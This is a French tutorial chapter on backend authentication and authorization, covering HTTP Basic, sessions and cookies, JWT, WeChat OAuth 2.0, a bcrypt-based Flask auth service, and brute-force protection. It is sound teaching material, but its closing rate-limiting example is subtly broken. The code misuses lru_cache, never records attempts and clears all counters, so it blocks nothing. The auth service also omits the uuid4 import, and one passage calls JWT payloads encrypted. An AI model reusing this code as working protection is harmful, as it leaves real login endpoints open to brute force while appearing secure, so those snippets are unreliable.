Skip to content
Main Navigation AccueilDébutant & PMDéveloppement Full StackDéveloppement AvancéAnnexe

Français

简体中文
English
日本語
繁體中文
한국어
Español
Deutsch
العربية
Tiếng Việt

Français

简体中文
English
日本語
繁體中文
한국어
Español
Deutsch
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. Fondamentaux Informatique

Développement full-stack à l'ère du Vibe Coding

Ce qui se passe entre le moment où vous appuyez sur le bouton d'alimentation et l'affichage d'un site web

Du transistor au CPU

Architecture des ordinateurs

Le système d'exploitation : engager un « grand intendant » pour l'ordinateur

Qu'est-ce que le codage et la transmission des données ?

Le navigateur est un système d'exploitation

Structures de données

Introduction à la pensée algorithmique

La carte des langages de programmation

Introduction à la théorie des compilateurs

Introduction aux systèmes de types

II. Outils et Environnement

Bases de l'environnement de developpement integre (IDE)

Ligne de commande et scripts Shell

Git : La machine a remonter le temps du code

Variables d'environnement et PATH

Ports et localhost

SSH et authentification par clé

Gestionnaires de paquets

L'art du debogage

Expressions régulières

III. Navigateur et Frontend

Guide approfondi JavaScript

Guide approfondi de TypeScript

Guide approfondi des frameworks frontend

Pipeline de rendu du navigateur

Système de mise en page HTML / CSS

Guide approfondi de l'environnement d'execution JavaScript

L'essence des frameworks frontend

Philosophie de la gestion d'état

Routage et navigation

Graphiques et animation (Canvas et ses amis)

Mecanismes de communication en temps reel (Polling / SSE / WebSocket)

Mesure et optimisation des performances web

Aperçu de l'ingénierie frontend

Conception d'architecture de projet frontend

Les dimensions cachees des pages Web : Internationalisation et Accessibilite

IV. Serveur et Backend

Comparaison des langages backend

Langages client (Swift / Kotlin / Dart)

Solutions multiplateformes (React Native / Flutter / Electron / Tauri)

Protocole HTTP : le "langage de communication" entre frontend et backend

Le voyage complet d'une requête

L'essence des frameworks Web

Introduction aux API : comprendre le « dialogue entre programmes » depuis zéro

Conception d'API : le "protocole de dialogue" entre frontend et backend

Sérialisation : la "traduction" des données

Système d'authentification et d'autorisation

Concurrence, asynchrone et multithreading

Hiérarchies et stratégies de mise en cache

Files de messages et pilotage par événements

Files de tâches asynchrones et modèle producteur-consommateur

Limitation de débit et contrôle de contre-pression

Principes des moteurs de recherche

Stockage de fichiers et stockage d'objets

Architecture en couches du backend

Conception d'architecture de projet backend

Langages dédiés (DSL) : dans le monde backend, ces "codes qui ne ressemblent pas à du code"

V. Données

Fondamentaux des bases de données (Index / Transactions / Optimisation de requêtes)

Panorama des modèles de données (Document / Graphe / Série temporelle / Vecteur)

Event Tracking : Enregistrer ce que les utilisateurs font dans l'application

Analyse de données : Concepts clés, logique et approfondissements

Tests A/B : Prendre des décisions « avec les données »

Visualisation de données et tableaux de bord

Gouvernance des données et qualité des données

VI. Architecture

L'évolution du monolithe vers les microservices

Les défis des systèmes distribués

Haute disponibilité et reprise après sinistre

Méthodologie de conception de systèmes

VII. Infrastructure

Bases de Linux

Conteneurisation avec Docker

Orchestration Kubernetes

Automatisation CI / CD

Noms de domaine, DNS et HTTPS

Équilibrage de charge et passerelles

Passerelles et proxy inverse

Pratique des plateformes cloud

Gestion des identités et des accès dans le cloud

Stockage objet et CDN

Infrastructure as Code

Surveillance, journaux et alertes

Résolution d'incidents et réponse d'urgence

VIII. Intelligence Artificielle

Une brève histoire de l'IA : de la logique symbolique aux grands modèles à milliards de paramètres

Réseaux de neurones et apprentissage profond

Transformer et mécanisme d'attention : le moteur central des grands modèles

Principes de fonctionnement des grands modèles de langage (LLM)

Ingénierie de Prompt (Prompt Engineering)

Ingénierie de Contexte

Modèles multimodaux (Vision / Audio / Vidéo)

Principes de génération d'images

Principes de synthèse et reconnaissance vocale

Embedding et recherche vectorielle

RAG : Génération augmentée par récupération

Agent IA et appel d'outils

Protocoles pour agents IA (MCP et A2A)

Fine-tuning et déploiement de modèles

Conception d'applications natives IA

Dictionnaire des capacités de l'IA

IX. Excellence d'Ingénierie

Qualite du code et refactoring

Strategies de test

Patterns de conception

Pensee securitaire et bases de l'attaque/defense

Redaction technique

Collaboration open source

Methodologie de selection technologique

Navigation de page

Système d'authentification et d'autorisation ​

💡 Guide d'apprentissage : Ce chapitre vous plonge dans le « système de contrôle d'accès » des systèmes backend — l'authentification et l'autorisation. Nous commencerons par la question fondamentale « Qui es-tu ? » et progresserons pas à pas à travers les solutions modernes comme Session, JWT et OAuth 2.0.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. Introduction : le « contrôle d'accès » du système ​

Pourquoi restez-vous connecté à WeChat même après avoir fermé et rouvert l'application ? Comment Bilibili sait-il si vous êtes un membre premium ou un utilisateur standard ? Pourquoi n'avez-vous pas besoin de saisir votre mot de passe lorsque vous vous connectez à un site tiers avec WeChat ?

Derrière tout cela se cache un système central : l'authentification et l'autorisation (Authentication & Authorization).

Si l'on compare un système backend à un immeuble :

  • Authentification (Authentication) : Confirmer « qui vous êtes » (vérifier une carte d'identité / un badge d'accès).
  • Autorisation (Authorization) : Confirmer « où vous pouvez aller » (les VIP peuvent entrer dans le salon VIP, les utilisateurs ordinaires non).

0.1 Pourquoi l'authentification est-elle nécessaire ? ​

Il n'y a qu'une seule raison : protéger les ressources.

  • Protection de la vie privée : Vos informations personnelles et votre historique de chat ne sont visibles que par vous.
  • Contrôle d'accès : Les administrateurs peuvent supprimer des utilisateurs, les utilisateurs ordinaires non.
  • Prévention des abus : Empêcher les appels malveillants et le scraping d'API.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 Démonstration interactive : flux de connexion ​

Découvrons comment fonctionnent l'authentification et l'autorisation à travers une démonstration de connexion réelle.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

Point clé : L'authentification est la première ligne de défense — toutes les opérations sensibles doivent d'abord vérifier l'identité.


1. Concepts fondamentaux : Authentification vs Autorisation ​

1.1 Authentification (Authentication) : Qui êtes-vous ? ​

Confirmer l'identité de l'utilisateur.

  • Exemple : Saisir un nom d'utilisateur et un mot de passe, scanner une empreinte digitale, reconnaissance faciale.
  • Résultat : Un jeton (Token) qui vous représente.
  • Abréviation anglaise : AuthN

1.2 Autorisation (Authorization) : Que pouvez-vous faire ? ​

Confirmer les permissions de l'utilisateur.

  • Exemple : L'administrateur peut supprimer des articles, l'utilisateur ordinaire ne peut que liker.
  • Résultat : Autoriser ou refuser l'accès.
  • Abréviation anglaise : AuthZ

1.3 Relation entre les deux ​

Requête utilisateur → Authentification (Qui êtes-vous ?) → Autorisation (Pouvez-vous le faire ?) → Exécution de la logique métier
                      ↓                                      ↓
                 Vérification d'identité              Vérification des permissions
                 (Token valide ?)                     (Avoir la permission delete ?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

Point clé : Authentifiez d'abord, puis autorisez. Ce n'est qu'après avoir confirmé « qui vous êtes » que l'on peut déterminer « ce que vous pouvez faire ».


2. Histoire de l'évolution des solutions ​

2.1 Première génération : HTTP Basic Authentication ​

La solution la plus ancienne, qui place directement le nom d'utilisateur et le mot de passe dans l'en-tête HTTP.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • Avantages : Simple, pris en charge par tous les navigateurs.
  • Inconvénients :
    • Non sécurisé (Base64 est décodable, équivalent à du texte clair).
    • Le mot de passe est transmis à chaque requête (facilement interceptable).
    • Impossible de se déconnecter activement (sauf en fermant le navigateur).

Conclusion : Convient uniquement aux outils de test internes, jamais à utiliser en production.

2.2 Deuxième génération : Session + Cookie ​

La solution classique du développement Web.

Flux :

1. L'utilisateur se connecte (POST /login)
   → Le serveur vérifie le nom d'utilisateur et le mot de passe
   → Crée une Session (dans la mémoire du serveur ou Redis)
   → Retourne Set-Cookie: session_id=abc123

2. Requêtes suivantes
   → Le navigateur envoie automatiquement Cookie: session_id=abc123
   → Le serveur recherche la Session à partir de session_id
   → Si trouvée, il considère que « vous êtes vous »

Exemple de code :

python
# Backend (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # Vérifier le nom d'utilisateur et le mot de passe
    user = db.authenticate(username, password)
    if user:
        # Créer une Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "Nom d'utilisateur ou mot de passe incorrect"}, 401

@app.route("/api/admin/users")
def get_users():
    # Vérifier la Session
    if "user_id" not in session:
        return {"error": "Non connecté"}, 401

    # Vérifier les permissions
    if session.get("role") != "admin":
        return {"error": "Permissions insuffisantes"}, 403

    # Exécuter la logique métier
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

Avantages :

  • Simple et intuitif, facile à comprendre.
  • Le serveur peut révoquer activement la session (supprimer la Session).

Inconvénients :

  • Serveur avec état : Doit stocker les Sessions, plusieurs serveurs doivent les partager (ex. Redis).
  • Difficultés cross-origin : Les Cookies ne peuvent pas traverser les domaines par défaut (problème CORS).
  • Attaque CSRF : Les sites malveillants peuvent usurper vos Cookies.

Conclusion : Convient aux applications Web traditionnelles (rendu côté serveur), mais pas aux applications mobiles ni aux SPA modernes.

2.3 Troisième génération : Token (JWT) ​

La solution dominante du Web moderne.

Idée centrale : Ne pas stocker l'état côté serveur, mais chiffrer les informations utilisateur dans un Token stocké côté client.

Structure du JWT :

JWT = Header.Payload.Signature

Exemple :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header : Informations sur l'algorithme (ex. {"alg": "HS256", "typ": "JWT"}).
  • Payload : Informations utilisateur (ex. {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature : Signature (anti-falsification).

Flux :

python
# 1. Connexion de l'utilisateur
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # Générer le JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # Expire dans 24 heures
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "Nom d'utilisateur ou mot de passe incorrect"}, 401

# 2. Requêtes suivantes
@app.route("/api/admin/users")
def get_users():
    # Récupérer le Token depuis le Header
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Token non fourni"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Vérifier et parser le Token
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token expiré"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token invalide"}, 401

    # Vérifier les permissions
    if payload.get("role") != "admin":
        return {"error": "Permissions insuffisantes"}, 403

    # Exécuter la logique métier
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661514,
  "exp": 1781665114
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

Avantages :

  • Sans état : Le serveur ne stocke pas les Sessions, facile à mettre à l'échelle horizontalement.
  • Cross-origin friendly : Placé dans le Header, non soumis aux restrictions cross-origin des Cookies.
  • Mobile friendly : Les applications natives peuvent également l'utiliser facilement.
  • Riche en informations : Le Payload peut contenir des informations utilisateur, des permissions, etc.

Inconvénients :

  • Impossible de révoquer activement : Une fois émis, le Token reste valide jusqu'à expiration (sauf utilisation d'une liste noire).
  • Payload visible : Encodé en Base64, ne pas stocker d'informations sensibles (comme le mot de passe).
  • Token volumineux : Doit être envoyé à chaque requête, plusieurs centaines d'octets.

Conclusion : La solution standard pour le Web et le mobile modernes.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0 : Connexion tierce ​

Vous avez certainement déjà vu ce bouton : « Se connecter avec WeChat », « Se connecter avec Google ».

C'est OAuth 2.0 : un framework d'autorisation (pas d'authentification !).

3.1 Rôles principaux ​

RôleDescriptionExemple
Resource OwnerPropriétaire de la ressource (utilisateur)Vous
ClientApplication tierceUn site web
Authorization ServerServeur d'autorisationWeChat, Google
Resource ServerServeur de ressourcesAPI d'informations utilisateur WeChat

3.2 Mode Code d'autorisation (Authorization Code Flow) ​

Le mode le plus sécurisé, adapté aux serveurs avec backend.

Flux :

1. L'utilisateur clique sur « Se connecter avec WeChat »
   → Redirigé vers la page d'autorisation WeChat
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. L'utilisateur scanne le QR code et accepte l'autorisation
   → WeChat redirige vers votre site
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. Votre backend échange le code contre un access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → Retourne : { "access_token": "...", "openid": "..." }

4. Utiliser l'access_token pour obtenir les informations utilisateur
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → Retourne : { "nickname": "Zhang San", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

Exemple de code :

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. Rediriger vers la page d'autorisation WeChat
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. Récupérer le code
    code = request.args.get("code")
    state = request.args.get("state")

    # Vérifier le state (anti-CSRF)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. Échanger le code contre un access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. Obtenir les informations utilisateur
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. Créer ou mettre à jour l'utilisateur localement
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. Générer le JWT du système local
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

Points clés :

  • Le code ne peut être utilisé qu'une seule fois : Il expire après usage pour empêcher l'interception.
  • state pour la protection anti-CSRF : Génère une chaîne aléatoire, vérifiée lors du callback, pour empêcher la falsification par des sites malveillants.
  • redirect_uri doit correspondre : Enregistré à l'avance sur la plateforme ouverte WeChat pour empêcher les attaques par redirection.

3.3 Autres modes ​

ModeScénario applicableSécurité
Mode Code d'autorisationServeurs avec backend⭐⭐⭐⭐⭐
Mode Implicite (Implicit)Applications frontend uniquement (SPA)⭐⭐⭐ (non recommandé)
Mode Mot de passe (Resource Owner)Applications de confiance élevée (ex. app officielle)⭐⭐
Mode Client (Client Credentials)Communication serveur à serveur (sans utilisateur)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. Mise en pratique : concevoir un système d'authentification complet ​

4.1 Analyse des besoins ​

  • Support multi-plateforme : Web, iOS, Android.
  • Connexion tierce : WeChat, Google.
  • Contrôle des permissions : Utilisateur standard, VIP, Administrateur.
  • Sécurité : Anti-scraping, anti-détournement, anti-rejeu.

4.2 Conception de l'architecture ​

┌─────────────┐
│    Client    │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting                │
│  - Token Validation             │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service               │
│  - Inscription, Connexion       │
│  - Émission et validation de Token │
│  - Intégration OAuth 2.0        │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services            │
│  - User Service                 │
│  - Order Service                │
│  - Payment Service              │
└─────────────────────────────────┘

4.3 Conception de la base de données ​

sql
-- Table des utilisateurs
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt hash
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- Table de liaison des fournisseurs d'authentification tierce
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- ID utilisateur du fournisseur tiers
    access_token TEXT,  -- Stockage chiffré
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Liste noire de Tokens (pour la révocation active)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JTI du JWT (identifiant unique)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 Implémentation du code ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # En production, utiliser une variable d'environnement

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. Vérifier si le nom d'utilisateur existe
        if db.get_user_by_username(username):
            raise ValueError("Nom d'utilisateur déjà existant")

        # 2. Hacher le mot de passe (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. Créer l'utilisateur
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Émettre les Tokens
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. Rechercher l'utilisateur
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("Nom d'utilisateur ou mot de passe incorrect")

        # 2. Vérifier le mot de passe
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("Nom d'utilisateur ou mot de passe incorrect")

        # 3. Émettre les Tokens
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (court terme, ex. 1 heure)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # Identifiant unique
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (long terme, ex. 30 jours)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # Durée d'expiration de l'access_token (secondes)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token expiré")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token invalide")

    def logout(self, token: str):
        # Ajouter le Token à la liste noire
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # Vérifier si le token est dans la liste noire
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token révoqué")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token expiré")
        except jwt.InvalidTokenError:
            raise ValueError("Token invalide")

# Décorateur API
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Récupérer le Token depuis le Header
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Token non fourni"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Vérifier le Token
                payload = auth_service.verify_token(token)
                # Injecter les informations utilisateur dans le contexte de la requête
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "Non connecté"}, 401

            if request.user["role"] not in roles:
                return {"error": "Permissions insuffisantes"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# Exemple d'utilisation
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661514,
  "exp": 1781665114
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. Bonnes pratiques de sécurité ​

5.1 Stockage des mots de passe ​

❌ Mauvaises pratiques :

python
# Stockage en clair (absolument interdit !)
db.save_password(username, password)

# Hachage MD5 / SHA1 (pas assez sécurisé, vulnérable aux tables arc-en-ciel)
hash = md5(password)
db.save_password(username, hash)

✅ Bonnes pratiques :

python
# bcrypt (hachage adaptatif, lent pour résister à la force brute)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # Plus le rounds est élevé, plus c'est sécurisé mais lent
)

# Vérification
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # Mot de passe correct

Pourquoi bcrypt ?

  • Lent : Volontairement conçu pour être lent (de l'ordre de la milliseconde), résiste à la force brute.
  • Adaptatif : Le paramètre rounds peut être ajusté pour se renforcer avec la puissance matérielle.
  • Salé : Intègre un sel aléatoire, résiste aux tables arc-en-ciel.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 Protection contre la force brute ​

  • Rate limiting : Une même IP / nom d'utilisateur ne peut essayer que 5 fois par minute.
  • CAPTCHA : Exiger un CAPTCHA après 3 échecs.
  • Verrouillage de compte : Verrouiller le compte pendant 30 minutes après 10 échecs.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """Retourne (nombre de tentatives, horodatage de la première tentative)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # Réinitialiser après 1 minute
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # Refuser si plus de 5 tentatives
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # Re-cacher

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # Vérifier le rate limiting
    if not check_rate_limit(username):
        return {"error": "Trop de tentatives, veuillez réessayer dans 1 minute"}, 429

    password = request.json["password"]

